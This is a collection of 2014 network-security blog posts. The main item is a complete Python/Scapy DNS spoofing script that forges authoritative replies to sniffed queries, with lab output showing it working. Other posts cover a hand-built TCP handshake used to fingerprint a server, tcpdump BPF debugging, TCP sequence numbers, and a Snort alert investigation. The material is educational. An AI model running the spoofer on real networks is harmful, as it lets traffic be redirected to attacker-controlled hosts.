Let's look at the Windows system host file to ensure these names are not resolved locallyC:\>type "c:\WINDOWS\system32\drivers\etc\hosts"# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.127.0.0.1 localhost

Now let's go ahead and load dnsSpoof.py on Kaliroot@securitynik:~/security-nik# ./dnsSpoof.py eth0 192.168.0.15Current system is Linux ... Good to go!! Sniffing for DNS Packet

If we look at the captures and the messages from dnsSpoof we can see the following for yahoo.comBoth dnsSpoof and windump report the time as: 12:51:23Looking at the source port we see the same: 53049Looking at the query id, we see: 33693... and the query name? we see we have yahoo.comMore importantly we see while the client at 192.168.0.16 made a request to 8.8.8.8, it actually got its response from 192.168.0.15

Based on the above, I would conclude the tool works as expected.

Go ahead and analyse the microsoft.com reuqest by yourself ;-)

As seen between these two posts on building and testing your own tools (dnsSpoof.py), it really does not take that much effort if you are willing to put in the time.

In a discussion about learning packet crafting tools, a colleague stated that he was learning HPing. I said to him, if you were going to learn to craft packets, you should dedicate your time to Scapy. Now before I go forward, I must say, in no way am I a HPing, Scapy or Python expert. My knowledge of these tools is enough to get my task done. I recommended Scapy because of my personal preference and bias.

The Construction PhaseI stated that with Scapy you can easily build your own tools. So I thought, if I say it, I need to show it. Demonstrating by examples, is the best way for any one to learn. Therefore, in this post, we will build a DNS Spoofing tool. Don't get worried by the number of lines. This tool can be built with under 20 lines However, because of the comments and building from a teaching perspective, I've used more lines than I should. So read on and have fun.

#!/usr/bin/env python# This code is strictly for demonstration purposes. # If used in any other way or for any other purposes. In no way am I responsible # for your actions or any damage which may occur as a result of its usage# dnsSpoof.py# Author: Nik Alleyne - nikalleyne at gmail dot com# http://securitynik.blogspot.comfromosimport uname
fromsubprocessimport call
fromsysimport argv, exitfromtimeimport ctime, sleep
fromscapy.allimport*defosCheck():
if ( uname()[0].strip() =='Linux' ) or ( uname()[0].strip() =='linux ') :
print(' Current system is Linux ... Good to go!!')
else:
print(' Not a Linux system ... Exiting ')
print(' This script is designed to work on Linux ... if you wish you can modify it for your OS ')
exit(0)
defusage():
print(" Usage: ./dnsSpoof <interface> <IP of your DNS Server - this is more likely the IP on this system>")
print(" e.g. ./dnsSpoof eth0 10.0.0.1")
defmain():
call('clear')
osCheck()
iflen(argv) !=3 :
usage()
exit(0)
while1:
# Sniff the network for destination port 53 trafficprint(' Sniffing for DNS Packet ')
getDNSPacket = sniff(iface=argv[1], filter="dst port 53", count=1)
# if the sniffed packet is a DNS Query, let's do some workif ( getDNSPacket[0].haslayer(DNS) ) and ( getDNSPacket[0].getlayer(DNS).qr ==0 ) and (getDNSPacket[0].getlayer(DNS).qd.qtype ==1) and ( getDNSPacket[0].getlayer(DNS).qd.qclass==1 ):
print('\n Got Query on %s '%ctime())
# Extract the src IP
clientSrcIP = getDNSPacket[0].getlayer(IP).src
# Extract UDP or TCP Src port# We don't know if this is UDP or TCP, so let's ensure we capture both if getDNSPacket[0].haslayer(UDP) :
clientSrcPort = getDNSPacket[0].getlayer(UDP).sport
elif getDNSPacket[0].haslayer(TCP) :
clientSrcPort = getDNSPacket[0].getlayer(TCP).sport
else:
pass# I'm not trying to figure out what you are ... moving on# Extract DNS Query ID. The Query ID is extremely important, as the response's Query ID must match the request Query ID
clientDNSQueryID = getDNSPacket[0].getlayer(DNS).id
# Extract the Query Count
clientDNSQueryDataCount = getDNSPacket[0].getlayer(DNS).qdcount
# Extract client's current DNS server
clientDNSServer = getDNSPacket[0].getlayer(IP).dst
# Extract the DNS Query. Obviously if we will respond to a domain query, we must reply to what was asked for.
clientDNSQuery = getDNSPacket[0].getlayer(DNS).qd.qname
print(' Received Src IP:%s, \n Received Src Port: %d\n Received Query ID:%d\n Query Data Count:%d\n Current DNS Server:%s\n DNS Query:%s '%(clientSrcIP,clientSrcPort,clientDNSQueryID,clientDNSQueryDataCount,clientDNSServer,clientDNSQuery))
# Now that we have captured the clients request information, let's go ahead and build our spoofed response# First let's set the spoofed source, which we will take from the 3rd argument entered at the command line
spoofedDNSServerIP = argv[2].strip()
# Now that we have our source IP and we know the client's destination IP. Let's build our IP Header
spoofedIPPkt = IP(src=spoofedDNSServerIP,dst=clientSrcIP)
# Now let's move up the IP stack and build our UDP or TCP header# We know our source port will be 53. However, our destination port has to match our client's. if getDNSPacket[0].haslayer(UDP) :
spoofedUDP_TCPPacket = UDP(sport=53,dport=clientSrcPort)
elif getDNSPacket[0].haslayer(TCP) :
spoofedUDP_TCPPPacket = UDP(sport=53,dport=clientSrcPort)
# Ok Time for the main course. Let's build out the DNS packet response. This is where the real work is done.# This section is where your knowledge of the DNS protocol comes into play. Don't be afraid if you don't know# do like I did and revist the RFC :-)
spoofedDNSPakcet = DNS(id=clientDNSQueryID,qr=1,opcode=getDNSPacket[0].getlayer(DNS).opcode,aa=1,rd=0,ra=0,z=0,rcode=0,qdcount=clientDNSQueryDataCount,ancount=1,nscount=1,arcount=1,qd=DNSQR(qname=clientDNSQuery,qtype=getDNSPacket[0].getlayer(DNS).qd.qtype,qclass=getDNSPacket[0].getlayer(DNS).qd.qclass),an=DNSRR(rrname=clientDNSQuery,rdata=argv[2].strip(),ttl=86400),ns=DNSRR(rrname=clientDNSQuery,type=2,ttl=86400,rdata=argv[2]),ar=DNSRR(rrname=clientDNSQuery,rdata=argv[2].strip()))
# Now that we have built our packet, let's go ahead and send it on its merry way.print(' \n Sending spoofed response packet ')
sendp(Ether()/spoofedIPPkt/spoofedUDP_TCPPacket/spoofedDNSPakcet,iface=argv[1].strip(), count=1)
print(' Spoofed DNS Server: %s\n src port:%d dest port:%d '%(spoofedDNSServerIP, 53, clientSrcPort ))
else:
passif __name__ =='__main__':
main()

How do we know that this works? Glad you ask. This will be the subject of the next post!

Friday, May 23, 2014

Recently in a discussion relating to BPF filters a colleague (thanks Jamie) sent me the link (http://www.tcpdump.org/papers/bpf-usenix93.pdf). However, I figured I would get around to reading it eventually. While addressing some other issues, Brian Dyson on the SANS mailing list suggested I look at the debug option of tcpdump (tcpdump -d) to verify the filter is working. He also provided an example so I can get started. I must admit, I was shocked to see the debug option. I mean, I use tcpdump on a regular basis. I even go through the man pages if I need to verify something. However, for whatever reason, I never noticed and or used the debug option. So I decided to dig (sorry debug) a little deeper.So without further ado, let's walk through 2 examplesExample 1let's try a filter that only shows traffic for host 10.0.0.1root@securitynik:~# tcpdump -d host 10.0.0.1(000) ldh [12](001) jeq #0x800 jt 2jf 6(002) ld [26](003) jeq #0xa000001 jt 12jf 4(004) ld [30](005) jeq #0xa000001 jt 12jf 13(006) jeq #0x806 jt 8jf 7(007) jeq #0x8035 jt 8jf 13(008) ld [28](009) jeq #0xa000001 jt 12jf 10(010) ld [38](011) jeq #0xa000001 jt 12jf 13(012) ret #65535(013) ret #0Let's break this down(000) ldh [12]This says to load a half word (2 bytes) for the EtherType at offset 12.(001) jeq #0x800 jt 2jf 6If an EtherType of 0x0800 (IP) is detected, then jump to 2 else jump 6Let's assume Ethertype 0x0800 is detected, so let's jump to 2. (002) ld [26]At offset 26, we will load a word (4 bytes) for our source IP.(003) jeq #0xa000001 jt 12jf 4If the 4 bytes allocated in (002) equals source IP 0xa000001 (10.0.0.1) then jump to 12 if not jump to 4. When we jump to 12 we see - (012) ret #65535. This basically says to capture all traffic.If the packet contains a source IP of 10.0.0.1, we should be seeing traffic on the screen or being written to a file.However, if (003) was false, we would then need to move to 4. Let's do that.(004) ld [30]At offset 30, we will load a word (4 bytes) for our destination IP(005) jeq #0xa000001 jt 12jf 13If the 4 bytes allocated in 4 equals destination IP 0xa000001 (10.0.0.1) then jump to 12 if not jump to 13.When we jump to 12 we see - (012) ret #65535. This basically says to capture all traffic.This time, if the destination has IP 10.0.0.1, we should be seeing traffic on the screen or being written to a file.So if (005) was false, we would then need to move to 13 - (013) ret #0. At this point there is no data to return as the return pointer is 0 (006) jeq #0x806 jt 8jf 7If the half word (2 bytes) allocated in (000) eq 0x0806 - ARP - then jump to 8 if this is not so, then jump to 7(007) jeq #0x8035 jt 8jf 13if the half word (2 bytes) allocated in (000) eq 0x8035 - RARP - then jump to 8 if this is not so, then jump to 13(008) ld [28]At offset 28, we will load a word (4 bytes) for checking the source ARP/RARP value(009) jeq #0xa000001 jt 12jf 10If the 4 bytes allocated for ARP/RARP source address in (008) equals 0xa000001 then jump to 12 if not jump to 10(010) ld [38]At offset 38, we will load a word (4 bytes) for checking the destination ARP/RARP value(011) jeq #0xa000001 jt 12jf 13If the 4 bytes allocated for ARP/RARP destination address in (008) equals 0xa000001 then jump to 12 if not jump to 10(012) ret #65535This says to return 65535 Bytes, virtually all traffic(013) ret #0This says return 0 bytes as this would be false

example 2What does it look like when we would not like to see traffic from host 10.0.0.1

root@securitynik:~# tcpdump -d not host 10.0.0.1(000) ldh [12](001) jeq #0x800 jt 2jf 6(002) ld [26](003) jeq #0xa000001 jt 12jf 4(004) ld [30](005) jeq #0xa000001 jt 12jf 13(006) jeq #0x806 jt 8jf 7(007) jeq #0x8035 jt 8jf 13(008) ld [28](009) jeq #0xa000001 jt 12jf 10(010) ld [38](011) jeq #0xa000001 jt 12jf 13(012) ret #0(013) ret #65535Basically this seems to go through the same process. However, the differences can be seen at (012) and (013). In the case of not, (012) returns 0 bytes while (013) returns all other traffic.The above definitely gave me a new perspective on tcpdump. As the title of the blog states, "Learning By Practising" so if someone reading this blog thinks I missed something, please feel free to drop me a comment so I can make any necessary corrections.Additional Readings:http://www.tcpdump.org/manpages/tcpdump.1.htmlhttps://www.kernel.org/doc/Documentation/networking/filter.txthttp://en.wikipedia.org/wiki/EtherTypehttp://docs.oracle.com/cd/E19455-01/806-3773/806-3773.pdfhttp://www.linuxalgorithm.com/1607463/

Monday, May 19, 2014

In my previous post relating to understanding the TCP’s Initial Sequence Number (ISN), I mentioned that understanding the TCP 3-Way Handshake is critical to understanding the ISN.

In this post we will build our own TCP 3-Way handshake and push some data over the connection. We will basically be completing the connection setup from previous post in which we worked on the TCP ISN. Moreover, the objective of this post, is to reinforce the information from the previous post.So how will we build and verify our handshake? We will do it using the 3 lines below. originalPkt = sr1(IP(src="10.0.0.100",dst="10.0.0.50")/TCP(flags="S",sport=5000,dport=80,seq=12345)) send(IP(src="10.0.0.100",dst="10.0.0.50")/TCP(flags="A",sport=5000,dport=80,seq=originalPkt.ack,ack=originalPkt.seq+1),count=1)send(IP(src="10.0.0.100",dst="10.0.0.50")/TCP(flags="PA",sport=5000,dport=80,seq=originalPkt.ack,ack=originalPkt.seq+1)/"HEAD / HTTP/1.0\r\nUser-Agent: Security Nik Testing\r\nHost: securitynik.lab\r\n\r\n",count=1)Obviously there are many ways to do this but for this lab, this is what we will use. We will analyze this using tcpdump for better understanding.

Let’s break this down!The Initial Syn PacketoriginalPkt = sr1(IP(src="10.0.0.100",dst="10.0.0.50")/TCP(flags="S",sport=5000,dport=80,seq=12345))1.We use the variable “originalPkt”, for storing the response for the packet we are sending from source IP 10.0.0.100 to destination IP 10.0.0.50. 2.In the TCP Layer, we set the SYN flag (S), source port 5000, destination port 80, and an Initial Sequence Number (ISN) 12345

Let’s look at this from tcpdump’s perspective once sent.IP 10.0.0.100.5000 > 10.0.0.50.80: Flags [S], seq 12345, win 8192, length 0As can be seen, the information in tcpdump matches what we sent in our crafted SYN packetLet’s look at how we craft our final ACK packet.

Because we used the “originalPkt” as a variable, we can now reference the values which were received in that variable. First, let’s see what tcpdump saw for the response.IP 10.0.0.50.80 > 10.0.0.100.5000: Flags [S.], seq 983686717, ack 12346, win 8192, options [mss 1460], length 0Looking at the above line, the server responded with its Syn+Ack. What is of the most importance to us in this response, is the server’s initial Sequence Number (ISN). In this case the server’s ISN is “983686717”. Now that we have the server’s ISN let’s go ahead and build our final ACK packet.send(IP(src="10.0.0.100",dst="10.0.0.50")/TCP(flags="A",sport=5000,dport=80,seq=originalPkt.ack,ack=originalPkt.seq+1),count=1)For our final ACK packet, we set the following.1.Flags=“A” - ACK Flag2.seq=originalPkt.ack - The sequence number we will use for our final ACK will be the Acknowledgement Number which was sent from the Server. In this case it is “ack 12346”3.ack=originalPkt.seq+1 - Because we need to acknowledge the server’s sequence number which is unknown, we now extract that sequence number from the variable originalPkt and add 1 to this number.Let’s send this on its way and see what tcpdump sees.IP 10.0.0.100.5000 > 10.0.0.50.80: Flags [.], ack 983686718, win 8192, length 0Awesome!!! We completed our TCP 3-way handshake. So let’s verify this is working as expected by sending some crafted data to the server.send(IP(src="10.0.0.100",dst="10.0.0.50")/TCP(flags="PA",sport=5000,dport=80,seq=originalPkt.ack,ack=originalPkt.seq+1)/"HEAD / HTTP/1.0\r\nUser-Agent: Security Nik Testing\r\nHost: securitynik.lab\r\n\r\n",count=1)Let’s see what tcpdump seesIP 10.0.0.100.5000 > 10.0.0.50.80: Flags [P.], seq 12346:12422, ack 983686718, win 8192, length 76 E..t....@.e...d..2...P..0::..>P. .44..HEAD / HTTP/1.0User-Agent: Security Nik TestingHost: securitynik.labLooks like we send some data successfully. Hmmm, I wonder how the server handled this? Let’s find out.IP 10.0.0.50.80 > 10.0.0.100.5000: Flags [FP.], seq 983686718:983686962, ack 12422, win 65392, length 244E...J.@....h..2..d.P..:..>..0.P..p>N..HTTP/1.1 200 OKContent-Length: 1398Content-Type: text/htmlLast-Modified: Sat, 17 May 2014 03:28:48 GMTAccept-Ranges: bytesETag: "651ae21d8071cf1:0"Server: Microsoft-IIS/8.0Date: Mon, 19 May 2014 22:06:09 GMTConnection: closeNice!!!!! Looks like we profiled the server and know now that it a Microsoft-IIS/8.0 serverAs can be seen, building your own TCP 3-Way handshake is not that difficult once you have the right understanding of how the protocols works.Something to think about!While we were able to establish the connection and generate a response from the server, do notice in the response from the server the FPA (FIN, PUSH and ACK flags) are all set. In this case, because we are not acknowledging the server’s FIN, it will try to resend the data. However, if no FIN ACK is received, it will eventually tear down the communication with a RST packet.Additional Reading:http://www.ietf.org/rfc/rfc793.txthttp://www.packetstan.comhttp://projects.webappsec.org/w/page/13246925/Fingerprintinghttp://www.secdev.org/projects/scapy/http://www.net-square.com/httprint_paper.html

Saturday, May 17, 2014

In a discussion with a colleague, I recognized that there was some misunderstanding in the role of the Initial Sequence Number (ISN) in the operations of the TCP protocol. As a result, I thought this blog may be helpful to anyone who probably needs to learn what is the ISN’s role in the TCP communication. First, we need to understand, that the Initial Sequence is only related to the TCP protocol. Let’s look at the TCP Header.

0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1
2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Source Port | Destination Port |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|Sequence Number|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Acknowledgment Number |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Data | |U|A|P|R|S|F| |

| Offset| Reserved |R|C|S|S|Y|I| Window |

| | |G|K|H|T|N|N| |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Checksum | Urgent Pointer |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Options | Padding
|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| data |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

TCP Header Format

As we can see from above, there is no field that states “Initial Sequence Number”. However, there is a field called “Sequence Number”. The number which is first used when establishing communication is what is known as the Initial Sequence Number. Understanding the TCP 3-way handshake is critical to understanding how this Initial Sequence Number (ISN) is used.

According to RFC793 “If SYN is present, the sequence number is the Initial Sequence Number (ISN)”. Considering the preceding sentence, the initial sequence number should only be considered in a situation where the SYN flag is set. This would mean if a client and a server are attempting to establish communication via TCP, then both the client and the server would generate initial sequence numbers.

In the IPv4 protocol, the sequence number field is 4 bytes (32 bits) and uses pseudo-random number generators (PRNGs).

Let’s look at this using an example.

In this lab, we will target a system running Windows 2012 with port 80 opened.

The two tools we will use are scapy and tshark. For the client, we will manually set the Initial Sequence Number (ISN) as 12345. For the server, we will let its’ TCP/IP stack generate its ISN.

As can be seen above, the packet from 10.0.0.100 to 10.0.0.50 is the client trying to establish a connection to the server. In this case 10.0.0.100 Initial Sequence Number (ISN) is 12345. It also has the SYN flag set. In the response packet from 10.0.0.50 to 10.0.0.100, while the ACK flag is set, the one that is of importance to us for this post is the SYN flag. In this case the server is responding to the client’s request. The server is sending its ISN as 3113386566.

Hopefully the above helps someone else to get a better understanding of the role the ISN plays in TCP communication.

Wednesday, May 14, 2014

Snort Alert:[119:2:1] http_inspect: DOUBLE DECODING ATTACK [Impact: Currently Not Vulnerable] From "ids.securitynik.lab" at Tue May 13 15:10:16 2014 UTC [Classification: Not Suspicious Traffic] [Priority: 3] {tcp} 10.0.0.100:34371->184.84.243.33:80Recently a large number of the above alerts were seen rushing into an IDS. It was continuous which made the process of identifying the problem somewhat easier as opposed to having to look at historical data for something that happened in the past.Beginning the investigative processWhile looking at the IDS packet would be a great place to start, I choose not to. Why Not? I'm glad you asked :-).The IDS would give me the packet which created the alert. Becuase this was ongoing, running wireshark on the affected system would give me the full communication. So, Wireshark was started to begin the capture.As Wireshark was running a command prompt was opened and netstat was started with a refresh of 1 second. Below shows the output of the netstat output. By using the '-o' option, we will also see the PID of the process which is connecting to the IP in the destination.

C:\>tasklist | findstr 11776iexplore.exe 11776 RDP-Tcp#4 9 182,464 KAs can be seen tasklist suggested the process is iexplore.exe (Internet Explorer) and that this is a RDP (Terminal Server) Session with the user being on session #4 (RDP-Tcp#4)Now that we have the user's RDP Session number, it is time to look directly at the Terminal Server to see what sessions exist and who this user is.

Hmmmm!!!! Should I be worried? Let's find out.Now that we have the user and the process, let's stop the packet capture to see what we can learn.To keep things simple, let's use a display filter of "tcp.stream eq 0" and take a snapshot of what's there.Client request:GET /watch/video/shark-attacks-inflatable-boat/2gvvsys9k?from=en-ca-quad&cpkey=51b72330-00e2-4ff4-b67c-1d2cf1779465%257c%257c%257c%257c HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Referer: http://video.ca.msn.com/watch/video/inspiring-stories-about-mothers/2j6jhnvd?from=en-ca-quad&cpkey=51b72330-00e2-4ff4-b67c-1d2cf1779465%257c%257c%257c%257c Accept-Language: en-us User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Host: video.ca.msn.comServer ResponseHTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/8.0Content-Length: 36405Looking at the above it would seem like the user was looking at videos from MSN and left his browser opened. As a result, once one video was finished another started playing automatically. This does not seem too dangerous or something that requires further investigation at this point. However, while this is my conclusion, a point I like to state is that the decision is always up to the analyst. Thus someone else may see something which I may have missed and this is why it is always best to work in teams and discuss these events before a conclusion is drawn.Above I mentioned the user was off from work. However, it turned out the user's RDP session was still active because the user did not log outOnce the conclusion was drawn that this was not malicious, the next step was to close off user securityNik_User RDP Session.As can be seen below, the user's session on longer exists.C:\>qwinsta SESSIONNAME USERNAME ID STATE TYPE DEVICE services 0 Disc console 1 Conn>rdp-tcp#1 User1 2 Active rdpwd rdp-tcp#6 User2 10 Active rdpwd rdp-tcp 65536 ListenOnce the session was closed the alerts stopped occuring. Considering the preceeding pargraphs, if this was considered to be malicious, it would have been time to begin analysing the IE session to see what other information can be gathered from it.A point I like to keep repeating is obtaining as much information from as much different sources as possible, helps to make the conclusion drawn more sound and easier to stand up to scrutiny.At the beginning I asked, True or False? I would say False.Additional readings:http://technet.microsoft.com/en-us/library/bb491010.aspxhttp://technet.microsoft.com/en-us/library/cc730909.aspxhttp://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/netstat.mspx?mfr=truehttp://technet.microsoft.com/en-us/library/cc940097.aspxhttp://www.scsssinc.bcentralhost.com/qw.htmhttp://technet.microsoft.com/en-us/library/cc725766.aspx

Wednesday, May 7, 2014

Similar to my previous post, this situation also required some information to be
extracted from RSA logs. However, in this case getting the information was a
bit tricky as the RSA does not send this information via syslog.

The solution?
1. Enable SNMP traps on the RSA Devices
2. Configure the net-snmp on the splunk server to accept traps
3. Write these traps to a file
4. Pass the file to splunk for parsing

However, just as in the previous case, splunk did not
have fields readily available for the information I required.

Once again, let’s see how we can grab information pertaining to a successful
and a failed logon.

With a little effort and time, it seems you can do
almost anything you wish with the data which resides in splunk.

Generally the method of extracting the data was similar to the one which was
done for the Juniper logs. It’s just in this case, what I wanted was more
scattered and thus needed a bit more work. However, the concept remains the
same for extracting the data.

Below is a list of threat intelligence websites that you can use. Cymon.io is an excellent one as it searches around 200 different sources. If you’re looking for a more exhaustive list of threat intel sites, check out https://github.com/rshipp/awesome-malware-analysis